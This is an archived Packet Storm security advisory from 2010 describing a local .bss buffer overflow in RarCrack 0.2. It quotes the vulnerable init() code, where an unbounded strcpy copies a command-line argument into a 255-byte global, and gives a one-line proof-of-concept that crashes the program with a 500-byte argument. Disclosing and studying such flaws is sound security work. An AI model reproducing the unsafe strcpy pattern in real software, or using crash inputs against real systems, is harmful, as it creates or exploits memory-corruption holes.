what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

RarCrack 0.2 Proof Of Concept

RarCrack 0.2 Proof Of Concept
Posted Sep 21, 2010
Authored by stoke

RarCrack version 0.2 "filename" init() .bss proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | 7f877e404b76e373de8951fcbba73e5e937cf29d2b59a41594269e5dbd64c452

RarCrack 0.2 Proof Of Concept

Change Mirror Download
The software can be downloaded here: http://rarcrack.sourceforge.net/
# Author: stoke
# Date: 2010-09-20
# Download: http://rarcrack.sourceforge.net/
# Tested on: Backtrack 4

#############################

Site: http://devilcode.it | http://hack2web.altervista.org

Special greetz to: nex, for reassure me when i sayed "WHY EIP IT'S NOT CHANGED!!!!!!!?!!!"

____ ___ __ __
/\ _`\ __/\_ \ /'__`\ /\ \
\ \ \/\ \ __ __ __/\_\//\ \ ___ /\ \/\ \ \_\ \ __ ___ _ __ __ __ __ __
\ \ \ \ \ /'__`\\ \/\ \/\ \\ \ \ /'___\ \ \ \ \ /'_` \ /'__`\ /'___\\`'__\'__`\\ \/\ \/\ \
\ \ \_\ \\ __/ \ \_/ | \ \\_\ \_/\ \__/\ \ \_\ \\ \L\ \/\ __/ /\ \__/ \ \/\ __/ \ \_/ \_/ \
\ \____/ \____\ \___/ \ \_\\____\ \____\\ \____/ \___,_\ \____\ \ \____\ \_\ \____\ \___x___/'
\/___/ \/____/\/__/ \/_//____/\/____/ \/___/ \/__,_ /\/____/ \/____/\/_/\/____/\/__//__/

Crew Members: bl3ck, stoke, Shellcoder_, n1md4, sys.x4sh, Ax3L, s1y, LostPassword, nex & overmind



############################
RarCrack v0.2 bss overflow PoC


###########################################
Function affected: init();

Type: local;

Variable overflowed: filename;
###########################################

########################################################

Here we have:

----- Start useful code snip --------
char filename[255];
----- End useful code snip ----------

This variable is above the "main" function, so is global and allocated on .bss.

In init() function we have:
---- Start useful code snip ----

if (strcmp(argv[i],"--help") == 0) {
printf("Usage: rarcrack encrypted_archive.ext [--threads NUM] [--type rar|zip|7z]\n\n");
printf("Options: --help: show this screen.\n");
printf(" --type: you can specify the archive program, this needed when\n");
printf(" the program couldn't detect the proper file type\n");
printf(" --threads: you can specify how many threads\n");
printf(" will be run, maximum 12 (default: 2)\n\n");
printf("Info: This program supports only RAR, ZIP and 7Z encrypted archives.\n");
printf(" RarCrack! usually detects the archive type.\n\n");
help = 1;
break;
} else if (strcmp(argv[i],"--threads") == 0) {
if ((i + 1) < argc) {
sscanf(argv[++i], "%d", &threads);
if (threads < 1) threads = 1;
if (threads > 12) {
printf("INFO: number of threads adjusted to 12\n");
threads = 12;
}
} else {
printf("ERROR: missing parameter for option: --threads!\n");
help = 1;
}
} else if (strcmp(argv[i],"--type") == 0) {
if ((i + 1) < argc) {
sscanf(argv[++i], "%s", &test);
for (j = 0; strcmp(TYPE[j], "") != 0; j++) {
if (strcmp(TYPE[j], test) == 0) {
strcpy(finalcmd, CMD[j]);
archive_type = j;
break;
}
}
if (archive_type < 0) {
printf("WARNING: invalid parameter --type %s!\n", argv[i]);
finalcmd[0] = '\0';
}
} else {
printf("ERROR: missing parameter for option: --type!\n");
help = 1;
}
} else {
strcpy((char*)&filename, argv[i]);

---- Stop useful code snip ----

How you can see, at the end of this code we have a strcpy to our "filename" variable, so, if you put more than 255 bytes in an argv, you will have a Segmentation Fault.

###########################################################################


###########################################################################
PoC


./rarcrack `perl -e 'print "A" x500'`


###########################################################################

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close